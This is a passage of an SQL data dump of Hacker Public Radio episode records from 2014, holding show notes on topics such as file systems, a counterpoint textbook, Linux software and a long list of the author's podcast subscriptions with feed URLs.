\"Play-Doh(tm)\" trademark, don\'t actually make microfluidizers - it\'s just an analogy\r\n</li>\r\n<li>10:25 -=Executive Summary=-\r\n</li>\r\n<li>11:05 Yes, including you...\r\n</li>\r\n<li>11:47 Yes, \"Fecal Transplants\".  Ewwww.\r\n</li>\r\n<li>11:53 You\'re welcome.\r\n</li>\r\n<li>12:30 If you\'re not familiar with this kitchen gadget, a \"French Press\" is a device for making coffee or tea.  It\'s A glass cylinder with a fine wire-screen plunger.  I suspect you could \"plunge\" the ingredients together repeatedly to get a sloppy substitute for the microfluidizer processing.\r\n</li>\r\n<li>12:28 Larger volume/surface-area ratio, you see...\r\n<p></p>\r\n</li>\r\n</ul>',182,0,0,'CC-BY-SA','Stir-Fried Stochasticity, science, microbiology, food science, polysaccharides, food, probiotics, snot, boogers, digestion',0,1358,1),
(1511,'2014-05-19','How to skin a snake',962,'How to skin a snake, and cure the skin for later use','<p>\r\nHow to skin a snake, and cure the skin for later use\r\n</p>',243,0,1,'CC-BY-SA','snake,skin,curing',0,1353,1),
(1512,'2014-05-20','Adopting and Renovating a Public-Domain Counterpoint Textbook',1252,'I discuss one of my latest projects, a digital overhaul of a 100+ year old counterpoint textbook','<p>\r\nIn this episode I discuss the problem of increasingly expensive college textbooks, and share with you the solution I devised to combat the problem in my counterpoint class at the University of Louisiana at Lafayette.\r\n</p>\r\n<p>\r\nPart of the solution is to adopt a public-domain textbook that\'s more than 100 years old, and to give the text a 21st-century makeover that I believe will make it even better-suited for the digital age than any other comparable book in the market at any price.\r\n</p>\r\n<p>\r\n<a href=\"https://jonathankulp.org/gratis.html\">https://jonathankulp.org/gratis.html</a>: \r\nThe counterpoint page on my website, with source files and information about my creative-commons counterpoint workbook, \"Gratis ad Parnassum,\" as well as links to the 1910 counterpoint textbook by\r\nPercy Goetschius: <a href=\"https://en.wikipedia.org/wiki/Percy_Goetschius\">https://en.wikipedia.org/wiki/Percy_Goetschius</a> entitled \"Exercises in Elementary Counterpoint.\"\r\n</p>\r\n<p>\r\nMy html version of the Goetschius textbook (in progress): <a href=\"https://jonkulp.net/350/Goetschius/goetschius.html\">https://jonkulp.net/350/Goetschius/goetschius.html</a>\r\n</p>',238,0,0,'CC-BY-SA','public-domain, textbooks, music, counterpoint, Lilypond, html, scripting',0,1356,1),
(1514,'2014-05-22','Give The Small Guy A Try',730,'Beeza and seeing if there is software which may suit your needs better than the mainstream','<p>\r\nBeeza hates being told what to do. When he moved over to Linux he noticed how most users were barely scratching the surface of the huge choice of software offered by the repositories. Rather than just go with the flow and settle for what everybody else was using, it was in his nature to look for alternatives to the most popular applications.\r\n</p>\r\n<p>\r\nHe discovered some total rubbish, but also some real gems which deserve far greater exposure than they receive. Reviews of some of these excellent but relatively unknown packages will form the basis of future HPR episodes.\r\n</p>\r\n<p>\r\nIn this episode Beeza makes the case for investing a little time digging around in the repositories to see if there is software which may suit your requirements better than the mainstream applications.\r\n</p>\r\n',246,0,1,'CC-BY-SA','Libre Office,mhWaveEdit,Decibel Audio Player',0,1528,1),
(1520,'2014-05-30','The Ext File System',313,'The Ext File System','The Ext File System',129,77,1,'CC-BY-SA','file system,extended file system,ext,inode',0,1654,1),
(1530,'2014-06-13','The Ext2 File System',326,'The Ext2 File System','The Ext2 File System',129,77,1,'CC-BY-SA','file system,second extended filesystem,ext2,ext2fs,inode table',0,1509,1),
(1540,'2014-06-27','The Journaling File System',326,'The Journaling File System','The Journaling File System\n',129,77,1,'CC-BY-SA','file system,journaling file system,inode',0,1479,1),
(1550,'2014-07-11','The Ext3 and 4 File System',476,'The Ext3 and 4 File System','The Ext3 and 4 File System',129,77,1,'CC-BY-SA','filesystem,ext3,ext4',0,1543,1),
(1560,'2014-07-25','The reiserfs File System',212,'The reiserfs File System','The reiserfs File System',129,77,1,'CC-BY-SA','file system,journaling,reiserfs',0,0,1),
(1570,'2014-08-08','The JFS File System',329,'The JFS File System','The JFS File System',129,77,1,'CC-BY-SA','file system,journaling file system,JFSA,B+ tree',0,0,1),
(1580,'2014-08-22','The FAT and NTFS File Systems',563,'The FAT and NTFS File Systems','The FAT and NTFS File Systems\n',129,77,1,'CC-BY-SA','file system,FAT,NTFS',0,0,1),
(1590,'2014-09-05','The xfs File System',326,'The xfs File System','The xfs File System',129,77,1,'CC-BY-SA','file system,journalling,64-bit,B+ tree',0,0,1),
(1600,'2014-09-19','The zfs File System',436,'The zfs File System','The zfs File System',129,77,1,'CC-BY-SA','file system,copy-on-write,snapshot,RAID-Z',0,0,1),
(1610,'2014-10-03','The BTRFS File System',534,'The BTRFS File System','The BTRFS File System',129,77,1,'CC-BY-SA','file system,copy-on-write,B-tree file system',0,0,1),
(1516,'2014-05-26','01 The podcasts I listen to',1439,'I listen to a lot of podcasts and thought it might be interesting if I shared them on HPR','<p>I listen to a lot of podcasts. I started listening to them back in around 2005 after buying my first portable player.</p>\n <p>I now listen to podcasts to the exclusion of just about everything else and have several players which I rotate between. I gave up watching TV over two years ago. I have written my own podcatcher software based upon Bashpodder, with a PostgreSQL database to manage everything, which holds feed, episode, playlist and player details.</p>\n <p>My interests range from Astronomy to Virology with a bias towards IT-related subjects. I currently subscribe to 85 feeds, which I present to you here in two batches. I have attached my own category to each feed, so I can load all the Science episodes on one player, and Documentary episodes on another, and so forth. I have added the category to the list as well and have sorted the list by category and the title.</p>\n <p><strong>Note:</strong> The list below is generated by a script which performs a query on my database. I have relied on parsing the feeds themselves for the websites, using the link value. In a few cases the value is unfortunately incorrect or missing because the feed is mis-configured.</p>\n <p>I have included an OPML version of the list in case you want to load it or part of it into your podcatcher. Find it at <a href=\"https://www.hackerpublicradio.org/eps/hpr1516.opml\">https://www.hackerpublicradio.org/eps/hpr1516.opml</a></p>\n <ol start=\"1\">\n  <li>\n   <h4>Friday Night Comedy from BBC Radio 4</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/radio4/programmes/genres/comedy/satire/\">https://www.bbc.co.uk/radio4/programmes/genres/comedy/satire/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/fricomedy/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/fricomedy/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-09</li>\n    <li><strong>Description:</strong> Bringing you a satirical take on the week\'s news with The News Quiz and The Now Show from BBC Radio 4. Enjoy a satirical take on the week’s news with the cream of UK comedy talent.</li>\n    <li><strong>Category:</strong> Comedy</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Geologic Podcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://geologicpodcast.com\">https://geologicpodcast.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.geologicpodcast.com/rss\">https://www.geologicpodcast.com/rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-08</li>\n    <li><strong>Description:</strong> George Hrab and the Geologic Universe</li>\n    <li><strong>Category:</strong> Comedy</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Documentary of the Week</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/radio4/\">https://www.bbc.co.uk/radio4/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/r4choice/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/r4choice/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-09</li>\n    <li><strong>Description:</strong> The Documentary of the Week podcast brings you our pick of the week\'s documentaries on BBC Radio 4. A new episode is published every Friday.</li>\n    <li><strong>Category:</strong> Documentary</li>\n   </ul>\n  </li>\n  <li>\n   <h4>In Our Time With Melvyn Bragg</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b006qykl\">https://www.bbc.co.uk/programmes/b006qykl</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/iot/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/iot/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-08</li>\n    <li><strong>Description:</strong> Melvyn Bragg and his guests discuss the history of ideas - including topics drawn from philosophy, science, history, religion and culture.</li>\n    <li><strong>Category:</strong> Documentary</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Lives in a Landscape</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b006rcd7\">https://www.bbc.co.uk/programmes/b006rcd7</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/lial/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/lial/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-28</li>\n    <li><strong>Description:</strong> Alan Dein presents documentaries about modern Britain. BBC Radio 4’s critically acclaimed series in which award-winning presenter Alan Dein goes in search of original stories from around the country – featuring people and places which are usually overlooked by the news.</li>\n    <li><strong>Category:</strong> Documentary</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Radio 3 Documentary</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b006tnwp\">https://www.bbc.co.uk/programmes/b006tnwp</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio3/r3docs/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio3/r3docs/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-04</li>\n    <li><strong>Description:</strong> In-depth documentaries which each week explore a different aspect of history, science, philosophy, film, visual arts and literature. The Sunday Feature is broadcast every Sunday at 7.45pm on BBC Radio 3. Each episode lasts 45 minutes. We aim to include as many episodes of The Sunday Feature in the podcast as we can but you\'ll find that some aren\'t included for rights reasons.</li>\n    <li><strong>Category:</strong> Documentary</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Costing the Earth</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b006r4wn\">https://www.bbc.co.uk/programmes/b006r4wn</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/costearth/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/costearth/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-13</li>\n    <li><strong>Description:</strong> Man\'s effect on the environment, questioning accepted truths, challenging those in charge and reporting on progress towards improving the world. Presenters, Tom Heap and Dr Alice Roberts, travel the UK and the world in search of solutions to the challenges facing the natural world and the people and wildlife that live in it. Broadcast at 21.00 on Mondays, Costing the Earth runs for 27 weeks of the year, split into three series. Podcast episodes are added weekly.</li>\n    <li><strong>Category:</strong> Environment</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Mark Kermode and Simon Mayo\'s Film Reviews</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b00lvdrj\">https://www.bbc.co.uk/programmes/b00lvdrj</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/fivelive/kermode/rss.xml\">https://downloads.bbc.co.uk/podcasts/fivelive/kermode/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-09</li>\n    <li><strong>Description:</strong> Mark Kermode discusses the latest film releases with Simon Mayo. Lively, controversial and unmissable movie discussion. Broadcast live on Fridays at 2pm on BBC Radio 5 live.</li>\n    <li><strong>Category:</strong> Film</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Film Programme</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/radio4/filmprogramme\">https://www.bbc.co.uk/radio4/filmprogramme</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/film/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/film/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-08</li>\n    <li><strong>Description:</strong> Interviews and analysis from the world of cinema. Francine Stock talks to directors, writers and critics about the latest film releases, classics on DVD and movies on television.</li>\n    <li><strong>Category:</strong> Film</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Escape Pod</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://escapepod.org\">https://escapepod.org</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://escapepod.org/feed/\">https://escapepod.org/feed/</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-12</li>\n    <li><strong>Description:</strong> The Science Fiction Podcast Magazine. Each week Escape Pod delivers science fiction short stories from today\'s best authors. Listen today, and hear the new sound of science fiction!</li>\n    <li><strong>Category:</strong> Literature</li>\n   </ul>\n  </li>\n  <li>\n   <h4>PodCastle</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://podcastle.org\">https://podcastle.org</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://podcastle.org/feed/rss2\">https://podcastle.org/feed/rss2</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-08</li>\n    <li><strong>Description:</strong> The world\'s first audio fantasy magazine.</li>\n    <li><strong>Category:</strong> Literature</li>\n   </ul>\n  </li>\n  <li>\n   <h4>CCHits.net</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://cchits.net/daily\">https://cchits.net/daily</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://cchits.net/daily/rss\">https://cchits.net/daily/rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-14</li>\n    <li><strong>Description:</strong> CCHits.net is designed to provide a Chart for Creative Commons Music, in a way that is easily able to be integrated into other music shows that play Creative Commons Music. CCHits.net has a daily exposure podcast, playing one new track every day, a weekly podcast, playing the last week of tracks played on the podcast, plus the top rated three tracks from the previous week. There is also a monthly podcast which features the top rated tracks over the whole system.</li>\n    <li><strong>Category:</strong> Music</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Best of Natural History Radio</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/blogs/nature\">https://www.bbc.co.uk/blogs/nature</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/nathistory/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/nathistory/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-11</li>\n    <li><strong>Description:</strong> The BBC Natural History Unit produces a wide range of programmes that aim to immerse a listener in the wonder, surprise and importance that nature has to offer.</li>\n    <li><strong>Category:</strong> Nature</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Coast and Country</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b006qgft\">https://www.bbc.co.uk/programmes/b006qgft</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/country/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/country/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-08</li>\n    <li><strong>Description:</strong> Countryside magazine featuring people, walks and wildlife from rural Britain. Clare Balding’s ‘Ramblings’ and ‘Open Country’ with Matt Baker and Helen Mark join forces to bring you a weekly tour of the best of the British countryside. In ‘Ramblings’ Clare joins her guests on a country walk that’s been significant in their lives. ‘Open Country’ travels to a different corner of the British Isles every week, seeking out the wildlife, the landscapes and the controversies that excite the passions of local people. Each twenty-five minute programme is broadcast on Saturday at 6.07am and repeated on Thursday at 3pm. New episodes are added every Saturday morning.</li>\n    <li><strong>Category:</strong> Nature</li>\n   </ul>\n  </li>\n  <li>\n   <h4>From Our Own Correspondent</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/fromourowncorrespondent\">https://www.bbc.co.uk/fromourowncorrespondent</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/fooc/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/fooc/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-10</li>\n    <li><strong>Description:</strong> Insight, wit and analysis as BBC correspondents, journalists and writers take a closer look at the stories behind the headlines. Presented by Kate Adie. Broadcast on BBC Radio 4 in the UK on Thursdays at 1100 (local time) and Saturdays at 1130 (local time) for about 25 weeks of the year. BBC World Service broadcasts every day from Monday to Friday plus a weekend edition all year round, presented by Pascale Harter. For more information, a full list of programme broadcast times and the podcast Terms of Use go to www.bbc.co.uk/fromourowncorrespondent</li>\n    <li><strong>Category:</strong> News</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Peter Day\'s World of Business</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/radio4/news/inbusiness/inbusiness.shtml\">https://www.bbc.co.uk/radio4/news/inbusiness/inbusiness.shtml</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio/worldbiz/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio/worldbiz/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-08</li>\n    <li><strong>Description:</strong> Insights into the business world with Peter Day - featuring content from his Radio 4 In Business programme, and also Global Business from the BBC World Service.</li>\n    <li><strong>Category:</strong> News</li>\n   </ul>\n  </li>\n  <li>\n   <h4>A Point of View</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b006qng8\">https://www.bbc.co.uk/programmes/b006qng8</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/pov/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/pov/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-09</li>\n    <li><strong>Description:</strong> Weekly reflections on topical issues from a range of contributors including historian Lisa Jardine, novelist Sarah Dunant and writer Alain de Botton.</li>\n    <li><strong>Category:</strong> Opinion</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Moral Maze</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b006qk11\">https://www.bbc.co.uk/programmes/b006qk11</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/moralmaze/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/moralmaze/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-03-27</li>\n    <li><strong>Description:</strong> Combative, provocative and engaging live debate examining the moral issues behind one of the week\'s news stories.</li>\n    <li><strong>Category:</strong> Opinion</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Thinking Allowed</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/radio4/factual/thinkingallowed/\">https://www.bbc.co.uk/radio4/factual/thinkingallowed/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/ta/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/ta/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-07</li>\n    <li><strong>Description:</strong> Laurie Taylor explores the latest research into how society works and discusses current ideas on how we live today.</li>\n    <li><strong>Category:</strong> Opinion</li>\n   </ul>\n  </li>\n  <li>\n   <h4>365 Days of Astronomy</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://cosmoquest.org/x/365daysofastronomy\">https://cosmoquest.org/x/365daysofastronomy</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://cosmoquest.org/x/365daysofastronomy/feed/atom/\">https://cosmoquest.org/x/365daysofastronomy/feed/atom/</a></li>\n    <li><strong>Format:</strong> Atom</li>\n    <li><strong>Last episode:</strong> 2014-05-13</li>\n    <li><strong>Description:</strong> Podcasting Astronomy Every Day of the Year</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Astronomy Cast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.astronomycast.com\">https://www.astronomycast.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/astronomycast\">https://feeds.feedburner.com/astronomycast</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-05</li>\n    <li><strong>Description:</strong> Astronomy Cast brings you a weekly fact-based journey through the cosmos.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>AWESOME ASTRONOMY</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://awesomeastronomy.com\">https://awesomeastronomy.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://awesomeastronomy.libsyn.com/rss\">https://awesomeastronomy.libsyn.com/rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-01</li>\n    <li><strong>Description:</strong> Awesome Astronomy is the show for anyone and everyone who has even the slightest interest in astronomy and science. Join Ralph &amp; Paul at the beginning of each month, for an informative and fun astronomy program exploring the mysteries and wonders of the universe. You can be guaranteed a passion for astronomy, simple explanations of complex and fundamental topics, space and science news, absorbing interviews and answers to listeners\' astronomy questions. As both presenters have been accused of being a little skeptical in the past, you can also expect everything to be fact-based but frivolous, with an emphasis on highlighting the wonderful science that reveals ever more about our complex and exciting universe. Join us on our journey to understand it all!</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>BBC Inside Science</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b036f7w2\">https://www.bbc.co.uk/programmes/b036f7w2</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/inscience/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/inscience/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-08</li>\n    <li><strong>Description:</strong> Adam Rutherford and guests illuminate the mysteries and challenge the controversies behind the science that\'s changing our world. Covering everything from the humble test tube to the depths of space, Inside Science is your guide to how science is evolving, transforming our culture, and affecting our lives.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Click</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/p002w6r2\">https://www.bbc.co.uk/programmes/p002w6r2</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/worldservice/digitalp/rss.xml\">https://downloads.bbc.co.uk/podcasts/worldservice/digitalp/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-13</li>\n    <li><strong>Description:</strong> How computers and digital technology affect our lives around the world. Presented by Gareth Mitchell. Available for download weekly on Tuesdays.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Discovery</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/p002w557\">https://www.bbc.co.uk/programmes/p002w557</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/worldservice/discovery/rss.xml\">https://downloads.bbc.co.uk/podcasts/worldservice/discovery/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-12</li>\n    <li><strong>Description:</strong> The science documentary series that looks in depth at the most significant ideas, discoveries and trends in science. Available to download weekly on Mondays.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Dr Karl and the Naked Scientist</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b0070h86\">https://www.bbc.co.uk/programmes/b0070h86</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/fivelive/drkarl/rss.xml\">https://downloads.bbc.co.uk/podcasts/fivelive/drkarl/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-14</li>\n    <li><strong>Description:</strong> Dr Chris Smith aka The Naked Scientist with the latest news from the world of science and Dr Karl answers listeners\' science questions on Radio 5 live\'s Up All Night programme. Dr Chris Smith broadcast on Mondays at 1:30am and Dr Karl broadcast live on Thursdays at 3am.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Inside Health</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b019dl1b\">https://www.bbc.co.uk/programmes/b019dl1b</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/medmatters/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/medmatters/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-22</li>\n    <li><strong>Description:</strong> Demystifying the health issues of the day that confuse us. Inside Health, with Dr Mark Porter, will be offered in this download, as well as additional related programmes from BBC Radio 4.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Naked Astronomy - From the Naked Scientists</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.thenakedscientists.com/HTML/podcasts/astronomy/\">https://www.thenakedscientists.com/HTML/podcasts/astronomy/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.thenakedscientists.com/rss/naked_astronomy_podcast.xml\">https://www.thenakedscientists.com/rss/naked_astronomy_podcast.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-09</li>\n    <li><strong>Description:</strong> We look at the latest news from the stars, planets and other heavenly bodies. Plus interviews with professional astronomers and the answers to your space science questions.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Naked Genetics - Taking a look inside your genes</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.thenakedscientists.com/HTML/articles/biology/genetics/\">https://www.thenakedscientists.com/HTML/articles/biology/genetics/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.thenakedscientists.com/rss/naked_genetics.xml\">https://www.thenakedscientists.com/rss/naked_genetics.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-13</li>\n    <li><strong>Description:</strong> From plants to pathogens, fruit flies to fungi and hamsters to humans, Naked Genetics takes a look at the science of genes. With in-depth interviews, the latest news from the world of genetics, answers to your questions, and our gene of the month, tune in for a look inside your genes...</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Naked Neuroscience - From the Naked Scientists</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.thenakedscientists.com/HTML/podcasts/neuroscience/\">https://www.thenakedscientists.com/HTML/podcasts/neuroscience/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.thenakedscientists.com/rss/naked_neuroscience.xml\">https://www.thenakedscientists.com/rss/naked_neuroscience.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-19</li>\n    <li><strong>Description:</strong> Open your mind with Naked Neuroscience, the spine-tingling, interactive monthly exploration of the workings of the nervous system from the Naked Scientists.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Naked Oceans from the Naked Scientists</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.thenakedscientists.com/HTML/podcasts/archive/oceans/\">https://www.thenakedscientists.com/HTML/podcasts/archive/oceans/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.thenakedscientists.com/rss/naked_oceans.xml\">https://www.thenakedscientists.com/rss/naked_oceans.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2012-12-21</li>\n    <li><strong>Description:</strong> From seagrass to sunfish, dugongs to diatoms, Naked Oceans uncovers the hidden secrets of the sea. Join us in conversation with top marine experts as we explore the latest ocean science and conservation and answer your aquatic questions.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Science for the People</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.scienceforthepeople.ca/\">https://www.scienceforthepeople.ca/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/SkepticallySpeaking\">https://feeds.feedburner.com/SkepticallySpeaking</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-09</li>\n    <li><strong>Description:</strong> Science for the People is a syndicated radio show and podcast based in Edmonton, Alberta, that 